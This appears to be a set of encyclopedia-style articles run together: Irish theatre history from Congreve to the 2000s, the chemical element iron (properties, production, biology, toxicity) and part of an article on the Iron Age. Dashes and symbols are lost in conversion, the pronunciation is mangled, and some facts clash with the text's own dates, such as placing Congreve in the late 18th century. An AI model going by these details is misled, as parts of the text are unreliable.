          An early example of this trend is William Congreve, one of the most important writers for the late 18th London stage. Although born in Yorkshire, Congreve grew up in Ireland and studied with Jonathan Swift in Kilkenny and at Trinity College, Dublin. After graduating, Congreve moved to London to study law at the Temple and pursue a literary career. His first play, The Old Bachelor (1693) was sponsored by John Dryden, and he went on to write at least four more plays. The last of these, The Way of the World (1700) is the one Congreve work regularly revived on the modern stage. However, at the time of its creation, it was a relative failure and he wrote no further works for the theatre.


          With the accession to the throne of William of Orange, the whole ethos of Dublin Castle, including its attitude to the theatre, changed. Smock Alley stayed in existence until 1811 and new theatres, such as the Theatre Royal, Queens' Theatre, and The Gaiety Theatre opened during the 19th century. However, the one constant for the next 200 years was that the main action in the history of Irish theatre happened outside Ireland itself, mainly in London.


          


          The 18th century
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          The 18th century saw the emergence of two major Irish dramatists, Oliver Goldsmith and Richard Brinsley Sheridan, who were two of the most successful playwrights on the London stage in the 18th century. Goldsmith (17281774) was born in Roscommon and grew up in extremely rural surroundings. He entered Trinity College in 1745 and graduated in 1749. He returned to the family home, and in 1751, began to travel, finally settling in London in 1756, where he published poetry, prose and two plays, The Good-Natur'd Man 1768 and She Stoops to Conquer 1773. This latter was a huge success and is still regularly revived.


          Sheridan (17511816) was born in Dublin into a family with a strong literary and theatrical tradition. His mother was a writer and his father was manager of Smock Alley Theatre. The family moved to England in the 1750s, and Sheridan attended Harrow Public School. His first play, The Rivals 1775, was performed at Covent Garden and was an instant success. He went on to become the most significant London playwright of the late 18th century with plays like The School for Scandal and The Critic. He was owner of the Drury Lane Theatre, which he bought from David Garrick. The theatre burned down in 1809, and Sheridan lived out the rest of his life in reduced circumstances. He is buried in Poets' Corner at Westminster Abbey.


          


          The 19th century


          After Sheridan, the next Irish dramatist of historical importance was Dion Boucicault (18201890). Boucicault was born in Dublin but went to England to complete his education. At school, he began writing dramatic sketches and soon took up acting under the stage name of Lee Moreton. His first play was Legend of Devil's Dyke 1838 in which he acted himself in Brighton. His first London production was London Assurance 1841. This was a great success and he seemed set to become the major writer of comedies of his day. However, his next few plays were not as successful and Boucicault found himself in debt. He recovered some of his reputation with The Corsican Brothers (1852), a well constructed melodrama.


          In 1853, he moved to New York, where he soon became a hit with plays like The Poor of New York (1857), Dot (1859, based on Charles Dickens's The Cricket on the Hearth) and The Octoroon (1859). These plays tackled issues such as urban poverty and slavery. Boucicault was also involved in getting the 1856 law on copyright passed through Congress. His last New York play was The Colleen Bawn (1860). In that year, Boucicault returned to London to stage The Colleen Bawn and the play ran for 247 performances at The Adelphi Theatre. He wrote several more successful plays, including The Shaughran (1875) and Robert Emmet (1884). These later plays helped perpetuate the stereotype of the drunken, hotheaded, garrulous Irishman that had been common on the British stage since the time of Shakespeare. Other Irish dramatists of the period include John Banim and Gerald Griffin, whose novel The Collegians formed the basis for The Colleen Bawn.


          Boucicault is widely regarded as the wittiest Irish dramatist between Sheridan and Oscar Wilde (18451900). Wilde was born in Dublin into a literary family and studied at Trinity College, where he had a brilliant career. In 1874 he won a scholarship to Magdalen College, Oxford. Here he began his career as a writer, winning the Newdigate Prize for his poem Ravenna. His studies were cut short during his second year at Oxford when his father died leaving large debts.


          During a short but glittering literary career, Wilde wrote poetry, short stories, criticism and a novel, but his plays probably represent his most enduring legacy. Wilde's first stage success came with Lady Windemere's Fan (1892), which resulted in his becoming the most talked about dramatist in London. He followed this up with A Woman of No Importance (1893), An Ideal Husband (1895) and his most famous play The Importance of Being Earnest that same year.
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          With these plays, Wilde came to dominate late- Victorian era British theatre. His plays are noted for the lightness of their wit, but he also contrived to address some serious issues around sexual and class roles and identity, as he wrote himself 'treating the serious things lightly and the light things seriously'. Events in Wilde's personal life were to overtake his literary success and he died in Paris in 1900. He remains one of the great figures in the history of Irish theatre and his plays are frequently performed all over the English-speaking world.


          Wilde's contemporary George Bernard Shaw (18561950) was a very different kind of writer. Born in Dublin, Shaw moved to London in 1876 intending to become a novelist. Here he became active in socialist politics and became a member of the Fabian Society. He was also a very public vegetarian. His writing for the stage was influenced by Henrik Ibsen. His early political plays were not popular, but he made a breakthrough with John Bull's Other Island (1904). Shaw was extremely prolific, and his collected writings filled 36 volumes. Many of his plays are now forgotten, but a number, including Major Barbara, Saint Joan (usually considered his masterpiece) and Pygmalion are still regularly performed. Pygmalion was the basis for the movie My Fair Lady, a fact which benefitted the National Gallery of Ireland as Shaw had left the royalties of the play to the gallery. A statue to the playwright now stands outside the gallery entrance. He won the Nobel Prize for Literature in 1924.


          


          The Abbey and after
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          A sea change in the history of the Irish theatre came with the establishment in Dublin in 1899 of the Irish Literary Theatre, later to become the Abbey Theatre. The history of this theatre is well documented, and its importance can be seen from the list of writers whose plays were first performed here in the early days of the 20th century. These included W.B. Yeats, Lady Gregory, John Millington Synge, George Moore, and Sean O'Casey. Equally importantly, through the introduction by Yeats, via Ezra Pound, of elements of the Noh theatre of Japan, a tendency to mythologise quotidian situations, and a particularly strong focus on writings in dialects of Hiberno-English, the Abbey was to create a style that held a strong fascination for future Irish dramatists. Indeed, it could almost be said that the Abbey created the basic elements of a national theatrical style.


          This period also saw a rise in the writing of plays in Irish, especially after the formation, in 1928, of An Taidhbhearc, a theatre dedicated to the Irish language. The Gate Theatre, also founded in 1928 under the direction of Hilton Edwards and Michel MacLiammoir, introduced Irish audiences to many of the classics of the European stage.


          


          Mid 20th century


          The twentieth century saw a number of Irish playwrights come to prominence. Samuel Beckett is probably the most significant of these. Beckett had a long career as a novelist and poet before his first play, Waiting for Godot (1953) made him famous. This play, along with his second, Endgame, is one of the great works of absurdist theatre. Beckett was awarded for the Nobel Prize in 1969.


          The Lyric Theatre, founded in 1944 by Austin Clarke was based in the Abbey until 1951 and produced many of Clarke's own verse plays. From the mid 1950s, the Unitarian Church at St Stephen's Green, Dublin was home to Amharclann an Damer/The Damer Theatre. The Damer produced both professional and amateur Irish language theatre. The world premier of Brendan Behan's An Giall (The Hostage) took place here in 1957. The theatre closed in the late 1970s. Behan went on to be an extremely popular dramatist, particularly through his work with Joan Littlewood's Theatre Royal in Stratford, East London.


          Other important Irish dramatists of this period include: Denis Johnston, Thomas Kilroy, Tom Murphy, Hugh Leonard, Frank McGuinness,and John B. Keane.


          


          Recent developments


          In general, the Abbey was the dominant influence in theatre in Ireland across the 20th century. Beckett's example has been almost entirely ignored, although his plays are regularly performed on the Irish stage. Behan, in his use of song and direct address to the audience, was influenced by Bertolt Brecht and Denis Johnston used modernist techniques including found texts and collage, but their works had little impact on the dramatists who came after them. In the 1970s and 1980s, a number of companies emerged to challenge the Abbey's dominance and introduce different styles and approaches. These included Focus Theatre, The Children's T Company, the Project Theatre Company, Red Kettle, Druid Theatre, TEAM and Field Day. These companies nurtured a number of writers, actors, and directors who went on to be successful in London, Broadway and Hollywood or in other literary fields. These include Joe O Byrne, Peter Sheridan, Brian Friel, Stephen Rea, Garry Hynes, Martin McDonagh, Conor McPherson and Gabriel Byrne.


          In the 1990s and 2000s a new wave of theatre companies arrived. These include: Bedrock, Blue Raincoat, B*spoke, The Corn Exchange, Corcadorca, Fishamble, Pan Pan, Playgroup, Raw and Rough Magic.
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              	General
            


            
              	Name, symbol, number

              	iron, Fe, 26
            


            
              	Chemical series

              	transition metals
            


            
              	Group, period, block

              	8, 4, d
            


            
              	Appearance

              	lustrous metallic

              with a grayish tinge

              [image: ]
            


            
              	Standard atomic weight

              	55.845 (2)gmol1
            


            
              	Electron configuration

              	[Ar] 3d6 4s2
            


            
              	Electrons per shell

              	2, 8, 14, 2
            


            
              	Physical properties
            


            
              	Phase

              	solid
            


            
              	Density (near r.t.)

              	7.874 gcm3
            


            
              	Liquid density at m.p.

              	6.98 gcm3
            


            
              	Melting point

              	1811 K

              (1538 C, 2800 F)
            


            
              	Boiling point

              	3134 K

              (2862  C, 5182  F)
            


            
              	Heat of fusion

              	13.81 kJmol1
            


            
              	Heat of vaporization

              	340 kJmol1
            


            
              	Specific heat capacity

              	(25 C) 25.10 Jmol1K1
            


            
              	
                
                  
                    Vapor pressure
                  

                  
                    	P/Pa

                    	1

                    	10

                    	100

                    	1 k

                    	10 k

                    	100 k
                  


                  
                    	at T/K

                    	1728

                    	1890

                    	2091

                    	2346

                    	2679

                    	3132
                  

                

              
            


            
              	Atomic properties
            


            
              	Crystal structure

              	body-centered cubic

              a=286.65 pm;

              face-centered cubic

              between 11851667 K
            


            
              	Oxidation states

              	6, 5 , 4, 3, 2, 1

              ( amphoteric oxide)
            


            
              	Electronegativity

              	1.83 (Pauling scale)
            


            
              	Ionization energies

              ( more)

              	1st: 762.5 kJmol1
            


            
              	2nd: 1561.9 kJmol1
            


            
              	3rd: 2957 kJmol1
            


            
              	Atomic radius

              	140 pm
            


            
              	Atomic radius (calc.)

              	156 pm
            


            
              	Covalent radius

              	125 pm
            


            
              	Miscellaneous
            


            
              	Magnetic ordering

              	ferromagnetic
            


            
              	1043 K
            


            
              	Electrical resistivity

              	(20C) 96.1 nm
            


            
              	Thermal conductivity

              	(300 K) 80.4Wm1K1
            


            
              	Thermal expansion

              	(25 C) 11.8 mm1K1
            


            
              	Speed of sound (thin rod)

              	( r.t.) (electrolytic)

              5120 ms1
            


            
              	Young's modulus

              	211 GPa
            


            
              	Shear modulus

              	82 GPa
            


            
              	Bulk modulus

              	170 GPa
            


            
              	Poisson ratio

              	0.29
            


            
              	Mohs hardness

              	4.0
            


            
              	Vickers hardness

              	608 MPa
            


            
              	Brinell hardness

              	490 MPa
            


            
              	CAS registry number

              	7439-89-6
            


            
              	Selected isotopes
            


            
              	
                
                  
                    Main article: Isotopes of iron
                  

                  
                    	iso

                    	NA

                    	half-life

                    	DM

                    	DE ( MeV)

                    	DP
                  


                  
                    	54Fe

                    	5.8%

                    	>3.11022 y

                    	2 capture

                    	?

                    	54Cr
                  


                  
                    	55Fe

                    	syn

                    	2.73 y

                    	 capture
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          Iron (pronounced /ˈˈī(-ə)rn/) is a chemical element with the symbol Fe (Latin: ferrum) and atomic number 26. Iron is a group 8 and period 4 element. Iron is a lustrous, silvery soft metal. It is one of the few ferromagnetic elements.


          Iron and nickel are notable for being the final elements produced by stellar nucleosynthesis, and are therefore the heaviest elements which do not require a red giant or supernova for formation. Iron and nickel are therefore the most abundant metals in metallic meteorites and in the dense-metal cores of planets such as Earth. Iron and iron alloys are also the most common source of ferromagnetic materials in everyday use.


          


          Occurrence


          Iron is believed to be the sixth most abundant element in the universe, formed as the final act of nucleosynthesis by carbon burning in massive stars. While it makes up only about 5% of the Earth's crust, the earth's core is believed to consist largely of an iron-nickel alloy comprising 35% of the mass of the Earth as a whole. Iron is consequently the most abundant element on Earth, but only the fourth most abundant element in the Earth's crust where it is the second most abundant metal after aluminium. Most of the iron in the crust is found combined with oxygen as iron oxide minerals such as hematite and magnetite.. About 1 in 20 meteorites consist of the unique iron-nickel minerals taenite (35-80% iron) and kamacite (90-95% iron). Although rare, meteorites are the major form of natural metallic iron on the earth's surface.


          The reason for Mars' red colour is thought to be an iron-oxide-rich soil.
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          Characteristics


          Iron is a metal extracted mainly from the iron ore hematite. It oxidises readily in air and water to form Fe2O3 and is rarely found as a free element. In order to obtain elemental iron, oxygen and other impurities must be removed by chemical reduction. The properties of iron can be modified by alloying it with various other metals and some non-metals, notably carbon and silicon to form steels.


          Nuclei of iron have some of the highest binding energies per nucleon, surpassed only by the nickel isotope 62Ni. The universally most abundant of the highly stable nuclides is, however, 56Fe. This is formed by nuclear fusion in stars. Although a further tiny energy gain could be extracted by synthesizing 62Ni, conditions in stars are unsuitable for this process to be favoured, and iron abundance on Earth greatly favors iron over nickel, and also presumably in supernova element production.


          Iron (as Fe2+, ferrous ion) is a necessary trace element used by almost all living organisms. The only exceptions are several organisms that live in iron-poor environments and have evolved to use different elements in their metabolic processes, such as manganese instead of iron for catalysis, or hemocyanin instead of hemoglobin. Iron-containing enzymes, usually containing heme prosthetic groups, participate in catalysis of oxidation reactions in biology, and in transport of a number of soluble gases. See hemoglobin, cytochrome, and catalase.


          


          Allotropes


          Iron represents perhaps the best-known example for allotropy in a metal. There are four allotropic forms of iron, known as alpha, beta, gamma, and delta.


          As molten iron cools down it crystallises at 1535C into its delta allotrope, which has a body-centred cubic (BCC) crystal structure. As it cools further its crystal structure changes to face-centred cubic (FCC) at 1401C, when it is known as gamma-iron, or austenite. At 912C the crystal structure again becomes BCC as beta-iron4 is formed, and at 770C (the Curie point, Tc ) the iron becomes magnetic as alpha-iron, also known as ferrite, which is also BCC, is formed. Thus there is no change in crystalline structure, but there is a change in 'domain structure', where each domain contains iron atoms with a particular electronic spin. In unmagnetised iron, all the electronic spins of the atoms within one domain are in the same direction. However, in neighbouring domains they point in various directions and thus cancel out. In magnetised iron, the electronic spins of all the domains are all aligned, so that the magnetic effects of neighbouring domains reinforce each other. Although each domain contains billions of atoms, they are very small, about one thousandth of a centimetre across.


          Iron, of course, is of most importance when mixed with certain other metals and with carbon to form steels. There are many types of steels, all with different properties; and an understanding of the properties of the allotropes of iron is key to the manufacture of good quality steels.


          Alpha iron, also known as ferrite, is the most stable form of iron at normal temperatures. It is a fairly soft metal that can dissolve only a small concentration of carbon (no more than 0.021% by mass at 910 C).


          Above 912C and up to 1401C alpha iron undergoes a phase transition from body-centred cubic to the face-centred cubic configuration of gamma iron, also called austenite. This is similarly soft and metallic but can dissolve considerably more carbon (as much as 2.04% by mass at 1146C). This form of iron is used in the type of stainless steel used for making cutlery, and hospital and food-service equipment.


          


          Applications


          Iron is the most widely used of all the metals, accounting for 95% of worldwide metal production. Its low cost and high strength make it indispensable in engineering applications such as the construction of machinery and machine tools, automobiles, the hulls of large ships, and structural components for buildings. Since pure iron is quite soft, it is most commonly used in the form of steel. Some of the forms in which iron is produced commercially include:


          
            	Pig iron has 3.54.5% carbon and contains varying amounts of contaminants such as sulfur, silicon and phosphorus. Its only significance is that of an intermediate step on the way from iron ore to cast iron and steel.


            	Cast iron contains 24% carbon, 16% silicon, and small amounts of manganese. Contaminants present in pig iron that negatively affect material properties, such as sulfur and phosphorus, have been reduced to an acceptable level. It has a melting point in the range of 14201470 K, which is lower than either of its two main components, and makes it the first product to be melted when carbon and iron are heated together. Its mechanical properties vary greatly, dependent upon the form carbon takes in the alloy. 'White' cast irons contain their carbon in the form of cementite, or iron carbide. This hard, brittle compound dominates the mechanical properties of white cast irons, rendering them hard, but unresistant to shock. The broken surface of a white cast iron is full of fine facets of the broken carbide, a very pale, silvery, shiny material, hence the appellation. In grey iron the carbon exists free as fine flakes of graphite, and also renders the material brittle due to the stress-raising nature of the sharp edged flakes of graphite. A newer variant of grey iron, referred to as ductile iron is specially treated with trace amounts of magnesium to alter the shape of graphite to spheroids, or nodules, vastly increasing the toughness and strength of the material.


            	Wrought iron contains less than 0.25% carbon. It is a tough, malleable product, but not as fusible as pig iron. If honed to an edge, it loses it quickly. Wrought iron is characterised by the presence of fine fibers of slag entrapped in the metal. Wrought iron is more corrosion resistant than steel. It has been almost completely replaced by mild steel for traditional "wrought iron" products and blacksmithing. Mild steel does not have the same corrosion resistance but is cheaper and more widely available.


            	Carbon steel contains 2.0% carbon or less, with small amounts of manganese, sulfur, phosphorus, and silicon.


            	Alloy steels contain varying amounts of carbon as well as other metals, such as chromium, vanadium, molybdenum, nickel, tungsten, etc. They are used for structural purposes, as their alloy content raises their cost and necessitates justification of their use. Recent developments in ferrous metallurgy have produced a growing range of microalloyed steels, also termed 'HSLA' or high-strength, low alloy steels, containing tiny additions to produce high strengths and often spectacular toughness at minimal cost.


            	Iron(III) oxides are used in the production of magnetic storage media in computers. They are often mixed with other compounds, and retain their magnetic properties in solution.

          


          The main disadvantage of iron and steel is that pure iron, and most of its alloys, suffer badly from rust if not protected in some way. Painting, galvanization, passivation, plastic coating and bluing are some techniques used to protect iron from rust by excluding water and oxygen or by sacrificial protection.


          Iron is believed to be the critical missing nutrient in the ocean that limits the growth of plankton. Experimental iron fertilization of areas of the ocean using iron(II) sulfate has proven successful in increasing plankton growth. Larger scaled efforts are being attempted with the hope that iron seeding and ocean plankton growth can remove carbon dioxide from the atmosphere, thereby counteracting the greenhouse effect that is generally agreed by climatologists to cause global warming.


          


          Iron compounds
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            	Iron(III) acetate (Fe(C2H3O2)3 is used in the dyeing of cloth.

          


          
            	Iron(III) ammonium oxalate (Fe(NH4)3(C2O4)4) is used in blueprints.

          


          
            	Iron(III) arsenate (FeAsO4) is used in insecticide.

          


          
            	Iron(III) chloride (FeCl3) is used: in water purification and sewage treatment, in the dyeing of cloth, as a coloring agent in paints, as an additive in animal feed, and as an etching material for engravement, photography and printed circuits.

          


          
            	Iron(III) chromate (Fe2(CrO4)3) is used as a yellow pigment for paints and ceramic.

          


          
            	Iron(III) hydroxide (Fe(OH)3) is used as a brown pigment for rubber and in water purification systems.

          


          
            	Iron(III) phosphate (FePO4) is used in fertilizer and as an additive in human and animal food.

          


          
            	Iron(II) acetate (Fe(C2H3O2)2 is used in the dyeing of fabrics and leather, and as a wood preservative.

          


          
            	Iron(II) gluconate (Fe(C6H11O7)2) is used as a dietary supplement in iron pills.

          


          
            	Iron(II) oxalate (FeC2O4) is used as yellow pigment for paints, plastics, glass and ceramic, and in photography.

          


          
            	Iron(II) sulfate (FeSO4) is used in water purification and sewage treatment systems, as a catalyst in the production of ammonia, as an ingredient in fertilizer and herbicide, as an additive in animal feed, in wood preservative and as an additive to flour to increase iron levels.

          


          
            	Iron-Fluorine complex (FeF6)3- is found in solutions containing both Fe(III) ions and fluoride ions.

          


          


          Historical aspects
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          The first iron used by mankind during prehistory came from meteors. The smelting of iron in bloomeries probably began in Anatolia or the Caucasus in the second millennium BC or the latter part of the preceding one. Cast iron was first produced in China about 550 BC, but not in Europe until the medieval period. During the medieval period, means were found in Europe of producing wrought iron from cast iron (in this context known as pig iron) using finery forges. For all these processes, charcoal was required as fuel.


          Steel (with a smaller carbon content than pig iron but more than wrought iron) was first produced in antiquity. New methods of producing it by carburizing bars of iron in the cementation process were devised in the 17th century AD. In the Industrial Revolution, new methods of producing bar iron without charcoal were devised and these were later applied to produce steel. In the late 1850s, Henry Bessemer invented a new steelmaking process, involving blowing air through molten pig iron, to produce mild steel. This and other 19th century and later processes have led to wrought iron no longer being produced.


          


          Production of iron from iron ore


          The production of iron or steel is a process unless the desired final product is cast iron. The first stage is to produce pig iron in a blast furnace. The second is to make wrought iron or steel from pig iron by a further process.


          


          Blast furnace
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          Ninety percent of all mining of metallic ores is for the extraction of iron. Industrially, iron is produced starting from iron ores, principally haematite (nominally Fe2O3) and magnetite (Fe3O4) by a carbothermic reaction (reduction with carbon) in a blast furnace at temperatures of about 2000 C. In a blast furnace, iron ore, carbon in the form of coke, and a flux such as limestone (which is used to remove impurities in the ore which would otherwise clog the furnace with solid material) are fed into the top of the furnace, while a blast of heated air is forced into the furnace at the bottom.


          In the furnace, the coke reacts with oxygen in the air blast to produce carbon monoxide:


          
            	2 C + O2  2 CO

          


          The carbon monoxide reduces the iron ore (in the chemical equation below, hematite) to molten iron, becoming carbon dioxide in the process:


          
            	3 CO + Fe2O3  2 Fe + 3 CO2

          


          The flux is present to melt impurities in the ore, principally silicon dioxide sand and other silicates. Common fluxes include limestone (principally calcium carbonate) and dolomite (calcium-magnesium carbonate). Other fluxes may be used depending on the impurities that need to be removed from the ore. In the heat of the furnace the limestone flux decomposes to calcium oxide (quicklime):


          
            	CaCO3  CaO + CO2

          


          Then calcium oxide combines with silicon dioxide to form a slag.


          
            	CaO + SiO2  CaSiO3

          


          The slag melts in the heat of the furnace. In the bottom of the furnace, the molten slag floats on top of the more dense molten iron, and apertures in the side of the furnace are opened to run off the iron and the slag separately. The iron once cooled, is called pig iron, while the slag can be used as a material in road construction or to improve mineral-poor soils for agriculture.


          In 2005, approximately 1,544 Mt (million metric tons) of iron ore was produced worldwide. China was the top producer of iron ore with at least one-fourth world share followed by Brazil, Australia and India, reports the British Geological Survey.


          


          Further processes


          Pig iron is not pure iron, but has 4-5% carbon dissolved in it. This is subsequently reduced to steel or commercially pure iron, known as wrought iron, using other furnaces or converters.


          



          


          Isotopes


          Naturally occurring iron consists of four isotopes: 5.845% of radioactive 54Fe (half-life: >3.11022 years), 91.754% of stable 56Fe, 2.119% of stable 57Fe and 0.282% of stable 58Fe. 60Fe is an extinct radionuclide of long half-life (1.5 million years).


          Much of the past work on measuring the isotopic composition of Fe has centered on determining 60Fe variations due to processes accompanying nucleosynthesis (i.e., meteorite studies) and ore formation. In the last decade however, advances in mass spectrometry technology have allowed the detection and quantification of minute, naturally occurring variations in the ratios of the stable isotopes of iron. Much of this work has been driven by the Earth and planetary science communities, although applications to biological and industrial systems are beginning to emerge.


          The isotope 56Fe is of particular interest to nuclear scientists. A common misconception is that this isotope represents the most stable nucleus possible, and that it thus would be impossible to perform fission or fusion on 56Fe and still liberate energy. This is not true, as both 62Ni and 58Fe are more stable, being the most stable nuclei. However, since 56Fe is much more easily produced from lighter nuclei in nuclear reactions, it is the endpoint of fusion chains inside extremely massive stars and is therefore common in the universe, relative to other metals.


          In phases of the meteorites Semarkona and Chervony Kut a correlation between the concentration of 60Ni, the daughter product of 60Fe, and the abundance of the stable iron isotopes could be found which is evidence for the existence of 60Fe at the time of formation of the solar system. Possibly the energy released by the decay of 60Fe contributed, together with the energy released by decay of the radionuclide 26Al, to the remelting and differentiation of asteroids after their formation 4.6 billion years ago. The abundance of 60Ni present in extraterrestrial material may also provide further insight into the origin of the solar system and its early history. Of the stable isotopes, only 57Fe has a nuclear spin (1/2).


          


          Iron in organic synthesis


          The use of iron metal filings in organic synthesis is mainly for the reduction of nitro compounds. Additionally, iron has been used for desulfurizations, reduction of aldehydes, and the deoxygenation of amine oxides.


          


          Iron in biology
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          Iron is essential to nearly all known organisms. In cells, iron is generally stored in the centre of metalloproteins, because "free" iron -- which binds non-specifically to many cellular components -- can catalyse production of toxic free radicals.


          In animals, plants, and fungi, iron is often incorporated into the heme complex. Heme is an essential component of cytochrome proteins, which mediate redox reactions, and of oxygen carrier proteins such as hemoglobin, myoglobin, and leghemoglobin. Inorganic iron also contributes to redox reactions in the iron-sulfur clusters of many enzymes, such as nitrogenase (involved in the synthesis of ammonia from nitrogen and hydrogen) and hydrogenase. Non-heme iron proteins include the enzymes methane monooxygenase (oxidizes methane to methanol), ribonucleotide reductase (reduces ribose to deoxyribose; DNA biosynthesis), hemerythrins (oxygen transport and fixation in marine invertebrates) and purple acid phosphatase ( hydrolysis of phosphate esters).


          Iron distribution is heavily regulated in mammals, partly because iron has a high potential for biological toxicity. Iron distribution is also regulated because many bacteria require iron, so restricting its availability to bacteria (generally by sequestering it inside cells) can help to prevent or limit infections. This is probably the reason for the relatively low amounts of iron in mammalian milk. A major component of this regulation is the protein transferrin, which binds iron absorbed from the duodenum and carries it in the blood to cells.


          


          Regulation of iron uptake


          Excessive iron can be toxic, because free ferrous iron reacts with peroxides to produce free radicals, which are highly reactive and can damage DNA, proteins, lipids, and other cellular components. Thus, iron toxicity occurs when there is free iron in the cell, which generally occurs when iron levels exceed the capacity of transferrin to bind the iron.


          Iron uptake is tightly regulated by the human body, which has no regulated physiological means of excreting iron. Only small amounts of iron are lost daily due to mucosal and skin epithelial cell sloughing, so control of iron levels is mostly by regulating uptake. However, large amounts of ingested iron can cause excessive levels of iron in the blood because high iron levels can damage the cells of the gastrointestinal tract, preventing them from regulating iron absorption. High blood concentrations of iron damage cells in the heart, liver and elsewhere, which can cause serious problems, including long-term organ damage and even death.


          Humans experience iron toxicity above 20 milligrams of iron for every kilogram of mass, and 60 milligrams per kilogram is a lethal dose. Over-consumption of iron, often the result of children eating large quantities of ferrous sulfate tablets intended for adult consumption, is one of the most common toxicological causes of death in children under six. The DRI lists the Tolerable Upper Intake Level (UL) for adults as 45 mg/day. For children under fourteen years old the UL is 40 mg/day.


          Regulation of iron uptake is impaired in some people as a result of a genetic defect that maps to the HLA-H gene region on chromosome 6. In these people, excessive iron intake can result in iron overload disorders, such as hemochromatosis. Many people have a genetic susceptibility to iron overload without realizing it or being aware of a family history of the problem. For this reason, it is advised that people should not take iron supplements unless they suffer from iron deficiency and have consulted a doctor. Hemochromatosis is estimated to cause disease in between 0.3 and 0.8% of Caucasians.


          The medical management of iron toxicity is complex, and can include use of a specific chelating agent called deferoxamine to bind and expel excess iron from the body.
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          In archaeology, the Iron Age was the stage in the development of any people in which tools and weapons whose main ingredient was iron were prominent. The adoption of this material coincided with other changes in some past societies often including differing agricultural practices, religious beliefs and artistic styles, although this was not always the case.


          In history, the Iron Age is the last principal period in the three-age system for classifying pre-historic societies, preceded by the Bronze Age. Its date and context vary depending on the country or geographical region.


          No firm ending date is set for the Iron Age in any particular society; there is simply a point where archaeology becomes less important than surviving history and traditions. Iron alloys remain popular as the steels in most metallic objects.


          


          Dates
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          Classically, the Iron Age is taken to begin in the 12th century BC in the ancient Near East, ancient Persia, ancient India (with the post-Rigvedic Vedic civilization), and ancient Greece (with the Greek Dark Ages). In other regions of Europe, it started much later. The Iron Age began in the 8th century BC in Central Europe and the 6th century BC in Northern Europe. Iron use, in smelting and forging for tools, appears in West Africa by 1200 BC, making it one of the first places for the birth of the Iron Age.


          The Iron Age is divided into two subsections, Iron I and Iron II. Iron I (1200-1000) illustrates both continuity and discontinuity with the previous Late Bronze Age. There is no definitive cultural break between the thirteenth and twelfth century throughout the entire region, although certain new features in the hill country, Transjordan and coastal region may suggest the appearance of the Aramaean and Sea People groups. There is evidence, however, that shows strong continuity with Bronze Age culture, although as one moves later into Iron I the culture begins to diverge more significantly from that of the late second millennium.


          The Iron Age is usually said to end in the Mediterranean with the onset of historical tradition during Hellenism and the Roman Empire, in India with the onset of Buddhism and Jainism, in China with the onset of Confucianism, and in Northern Europe with the early Middle Ages.


          The arrival of iron use in various areas is discussed in more detail below, broadly in chronological order.


          


          Iron use in the Bronze Age


          By the Middle Bronze Age, increasing numbers of smelted iron objects (distinguishable from meteoric iron by the lack of nickel in the product) appeared throughout Anatolia, Mesopotamia, the Indian subcontinent, the Levant, the Mediterranean, and Egypt. In some places, their use appears to have been ceremonial, and during the Bronze Age iron was an expensive metal, more expensive than gold. Some sources suggest that iron was being created in some places then as a by-product of copper refining, as sponge iron, and was not reproducible by the metallurgy of the time.


          The earliest systematic production and use of iron implements originates in Anatolia. West African production of iron began at around the same time, and seems to have been clearly an independent invention (see Stanley J. Alpern's work in History in Africa, volume 2). Recent archaeological research at Ganges Valley, India showed early iron working by 1800 BC. By 1200 BC, iron was widely used in the Middle East but did not supplant the dominant use of bronze for some time.


          


          Transition from bronze to iron


          Bronze was previously used to make tools because its melting point is lower than that of iron. The Iron Age began with the development of higher temperature smelting techniques..


          During the Iron Age, the best tools and weapons were made from steel, an alloy consisting of iron with a carbon content between 0.02% and 1.7% by weight. Steel weapons and tools were nearly the same weight as those of bronze, but stronger. However, steel was difficult to produce with the methods available. Therefore, many Iron Age tools were fashioned of wrought iron. Wrought iron is weaker than bronze, but because it was less expensive, and more easily sharpened, people used it anyway. Iron is by itself an adequately strong metal without additional alloys (although it could be further strengthened by case-hardening or forge welding small amounts of steel to areas subject to wear such as edges). Bronze, on the other hand, requires copper and tin which are less common than iron. Additionally, iron can be sharpened by grinding whereas bronze must be reforged.


          Around 1800 BC, for reasons yet unknown to archaeologists, tin became scarce in the Levant, causing a decline in bronze production. Copper, also, came to be in short supply. As a result, pirate groups around the Mediterranean, from around 1800-1700 BC onward, began to attack fortified cities in search of bronze, to remelt into weaponry.


          Bronze was much more abundant in the period before the 12th to 10th century and Snodgrass suggests that a shortage of tin, as a result of the trade disruptions in the Mediterranean at this time, forced peoples to seek an alternative to bronze. That many bronze items were recycled and made from implements into weapons during this time, is evidence of this.


          


          Ancient Near East


          


          Transition


          The Iron Age in the Ancient Near East is believed to have begun with the discovery of iron smelting and smithing techniques in Anatolia or the Caucasus in the late 2nd millennium BC (circa 1300 BC).


          The use of iron weapons instead of bronze weapons spread rapidly throughout the Near East by the beginning of the 1st millennium BC. Anatolians had begun forging weapons out of iron, which was a superior metal to bronze by 1500 BC at the latest.


          The use of iron weapons by the Hittites was believed to have been a major factor in the rapid rise of the Hittite Empire. Because the area in which iron technology first developed was near the Aegean, the technology expanded into into both Asia and Europe simultaneously, aided by Hittite expansion. The Sea Peoples and the related Philistines are often associated with the introduction of iron technology into Asia, as are the Dorians with respect to Greece.


          Finds of Iron Early examples and distribution of non precious metal finds.
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          Levant


          


          Anatolia


          


          Aegean


          


          Egypt


          


          Indian subcontinent


          Archaeological sites in India, such as Malhar, Dadupur, Raja Nala Ka Tila and Lahuradewa in present day Uttar Pradesh show iron implements in the period between 1800 BC - 1200 BC. Some scholars believe that by the early 13th century BC, iron smelting was practiced on a bigger scale in India, suggesting that the date the technology's inception may be placed earlier.


          The beginning of the 1st millennium BC saw extensive developments in iron metallurgy in India. Technological advancement and mastery of iron metallurgy was achieved during this period of peaceful settlements. An iron working centre in east India has been dated to the first millennium BC.


          In Southern India (present day Mysore) iron appeared as early as 11th to 12th centuries BC; these developments were too early for any significant close contact with the northwest of the country.


          The Indian Upnishads have mentions of weaving, pottery, and metallurgy.


          The Mauryan period in India saw advancements in technology; this technological change involved metallurgy.


          Perhaps as early as 300 BC, although certainly by AD 200, high quality steel was being produced in southern India also by what Europeans would later call the crucible technique. In this system, high-purity wrought iron, charcoal, and glass were mixed in crucible and heated until the iron melted and absorbed the carbon.


          


          East Asia


          


          China
